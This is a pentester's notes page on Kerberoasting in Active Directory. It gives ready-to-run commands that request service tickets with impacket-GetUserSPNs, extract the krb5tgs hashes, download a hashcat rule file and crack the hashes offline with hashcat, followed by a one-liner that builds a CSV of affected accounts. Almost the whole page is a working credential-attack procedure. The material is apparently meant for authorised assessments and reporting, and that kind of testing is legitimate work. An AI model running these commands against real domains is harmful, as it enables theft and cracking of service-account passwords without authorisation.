> For the complete documentation index, see [llms.txt](https://notes.sixthcyber.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.sixthcyber.com/active-directory/kerberoasting.md).

# Kerberoasting

**Kerberoast Affected SPNs (NTLM)**

{% code overflow="wrap" %}

```bash
impacket-GetUserSPNs -request -save $ADDOMAIN/$ADUSER -dc-ip $ADCONTROLLER | tee GetUserSPN-Output.txt
```

{% endcode %}

**Get only tickets for cracking**

```bash
cat GetUserSPN-Output.txt | grep "krb5tgs" >> kerb.hash
```

**Crack tickets**

{% code overflow="wrap" %}

```bash
wget https://github.com/stealthsploit/OneRuleToRuleThemStill/raw/refs/heads/main/OneRuleToRuleThemStill.rule
hashcat -m 13100 -a 0 kerb.hash rockyou.txt -r OneRuleToRuleThemStill.rule
```

{% endcode %}

{% hint style="info" %}
The above is more of a POC on how to crack the hash, however, I'd STRONGLY recommend using something powerful to crack this hash as the above will take a long time. If you have have a powerful GPU, take a look into [NPK](https://github.com/c6fc/npk) or [VPK](https://github.com/d-sec-net/VPK).
{% endhint %}

**Create affected SPN CSV**

{% code overflow="wrap" %}

```bash
grep -E '[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]+|N/A' GetUserSPN-Output.txt | awk -F' ' 'NR==1{print "SPN,Username"};{print $1","$2}' > Kerberoastable-User-Account.csv
```

{% endcode %}

{% hint style="danger" %}
The above may miss SPNs when there is no "MemberOf" field in the SPN (I have seen this on a test before). Also, if you have two identical SPNs where one has the port at the end and the other does not, both will be reported.
{% endhint %}